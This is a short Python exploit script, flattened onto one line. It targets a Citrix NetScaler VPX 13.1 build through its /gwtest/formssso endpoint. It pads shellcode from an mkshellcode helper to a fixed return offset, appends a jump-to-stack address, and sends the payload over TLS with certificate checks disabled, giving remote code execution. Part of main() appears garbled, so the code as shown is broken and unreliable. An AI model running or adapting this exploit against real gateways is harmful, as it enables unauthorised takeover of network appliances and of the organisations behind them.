import socket, ssl, sys, struct, requests, urllib3 from mkshellcode import mkshellcode urllib3.disable_warnings() # VPX 13.1-48.47 RETURN_OFFSET=0xa8 JMP_STACK=0x02778c04 FIXUP="0xc7f78d" RBP_FIXUP="0x30" def pad(dat, l, c): return dat+(c*(l-len(dat))) def url_encode(data): out=b'' for i in data: if i>0x9f: out+=bytes([i]) else: out+='%{:02x}'.format(i).encode() return out def make_request(host, payload): ctx=ssl.create_default_context() ctx.check_hostname=False ctx.verify_mode=ssl.CERT_NONE s=socket.create_connection(host) ssock=ctx.wrap_socket(s) data=url_encode(payload) req =b"GET /gwtest/formssso?event=start&target="+data+b" HTTP/1.0\r\n" req+= "Host: {}:{}\r\n\r\n".format(host[0], host[1]).encode() ssock.sendall(req) def main(host, shellcode): assert len(shellcode)<=RETURN_OFFSET-32, "payload is too long. Try a shorter URL" payload=pad(shellcode, RETURN_OFFSET, b'\xcc') payload+=struct.pack(" ") exit() host=(sys.argv[1], int(sys.argv[2])) shellcode=mkshellcode(RBP_FIXUP, FIXUP, sys.argv[3]) main(host, shellcode)